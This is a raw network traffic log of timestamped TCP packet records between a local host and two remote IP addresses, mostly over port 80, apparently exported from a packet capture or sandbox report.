Nov 22, 2024 01:02:47.290425062 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.290474892 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.291219950 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.291296005 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.291346073 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.292140007 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.292249918 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.292299032 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.293091059 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.293217897 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.293267965 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.294039011 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.294141054 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.294189930 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.294990063 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.295098066 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.295145988 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.295929909 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.296051979 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.296168089 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.296849966 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.296964884 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.297013044 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.297801018 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.297914982 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.297962904 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.298728943 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.298852921 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.298923969 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.299695015 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.299827099 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.299874067 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.300618887 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.300714970 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.300770998 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.301546097 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.301650047 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.301695108 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.302480936 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.302651882 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.302706957 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.303423882 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.303524971 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.303570032 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.304393053 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.304503918 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.304548025 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.305313110 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.305542946 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.305600882 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.306262016 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.306327105 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.306377888 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.307209015 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.307324886 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.307378054 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.308139086 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.308248997 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.308299065 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.309092045 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.309216022 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.309335947 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.310008049 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.310110092 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.310162067 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.310973883 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.311079025 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.311125994 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.311911106 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.312041044 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.312084913 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.312875986 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.313039064 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.313086033 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.313780069 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.313920021 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.313966990 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.314734936 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.314878941 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.314946890 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.315660000 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.315767050 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.315819979 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.316597939 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.316709995 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.316756964 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.317539930 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.317653894 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.317701101 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.318495035 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.318609953 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.318655968 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.319422960 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.319536924 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.319608927 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.320365906 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.320487976 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.320529938 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.321309090 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.321377039 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.321419954 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.322227955 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.322351933 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.322396994 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.323196888 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.323323965 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.323375940 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.324112892 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.324235916 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.324279070 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.325076103 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.325145006 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.325191021 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.326001883 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.326102972 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.326154947 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.326944113 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.327034950 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.327081919 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.327888012 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.327960014 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.328005075 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.328828096 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.329029083 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.329076052 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.329849958 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.329907894 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.329972982 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.330749035 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.330867052 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.330921888 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.331690073 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.331707954 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.331763029 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.332297087 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.332504034 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.332551956 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.333240986 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.333372116 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.333415985 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.334209919 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.334424019 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.334470034 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.335165977 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.378643036 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.459233999 CET	443	49776	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:47.459866047 CET	49776	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:47.459893942 CET	443	49776	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:47.460407019 CET	49776	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:47.460419893 CET	443	49776	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:47.477988005 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.478188992 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.478282928 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.478548050 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.478780985 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.478919029 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.479342937 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.479710102 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.479757071 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.479820967 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.480638027 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.480686903 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.480727911 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.481575966 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.481627941 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.481674910 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.482604027 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.482639074 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.482671976 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.483422995 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.483479023 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.483537912 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.484414101 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.484460115 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.484508991 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.485301018 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.485354900 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.485428095 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.486263037 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.486313105 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.486438990 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.487212896 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.487262011 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.487322092 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.488133907 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.488185883 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.488245010 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.489095926 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.489161968 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.489209890 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.490024090 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.490092993 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.490118980 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.490962982 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.491013050 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.491085052 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.491899014 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.491949081 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.492016077 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.492851019 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.492902040 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.492944002 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.493784904 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.493829012 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.493894100 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.494745016 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.494827032 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.494910955 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.495670080 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.495726109 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.495769024 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.496608973 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.496651888 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.496715069 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.497545004 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.497586012 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.497646093 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.498532057 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.498584032 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.498682022 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.499423981 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.499484062 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.499526024 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.500380993 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.500433922 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.500478029 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.501311064 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.501358986 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.501426935 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.502264023 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.502348900 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.502388954 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.503185987 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.503232002 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.503293037 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.504131079 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.504179001 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.504219055 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.505072117 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.505117893 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.505183935 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.506037951 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.506081104 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.506155014 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.506964922 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.507016897 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.507024050 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.507884979 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.507941961 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.508008003 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.508908033 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.508922100 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.508960962 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.509768009 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.509826899 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.509884119 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.510708094 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.510752916 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.510818005 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.511708021 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.511713028 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.511755943 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.512626886 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.512679100 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.512784958 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.513649940 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.513670921 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.513709068 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.514518976 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.514569998 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.514617920 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.515466928 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.515516996 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.515841007 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.516388893 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.516436100 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.516480923 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.517298937 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.517349005 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.517411947 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.518269062 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.518323898 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.518368959 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.519205093 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.519246101 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.519325972 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.520112991 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.520169020 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.520221949 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.521064997 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.521111965 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.521166086 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.521791935 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.522010088 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.522056103 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.522103071 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.522927046 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.522969007 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.523027897 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.523849964 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.523894072 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.524194956 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.524252892 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.524292946 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.525132895 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.525254011 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.525294065 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.526068926 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.526191950 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.526238918 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.527004004 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.530297995 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.538582087 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.657015085 CET	443	49777	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:47.657721996 CET	49777	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:47.657772064 CET	443	49777	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:47.658255100 CET	49777	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:47.658262014 CET	443	49777	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:47.661763906 CET	443	49774	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:47.661825895 CET	443	49774	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:47.661891937 CET	49774	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:47.662117958 CET	49774	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:47.662142038 CET	443	49774	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:47.662153959 CET	49774	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:47.662159920 CET	443	49774	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:47.663986921 CET	443	49778	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:47.669898987 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.670001984 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.670089006 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.670136929 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.670277119 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.670315981 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.671072006 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.671142101 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.671179056 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.672025919 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.672136068 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.672174931 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.673010111 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.673037052 CET	80	49773	185.215.113.16	192.168.2.7
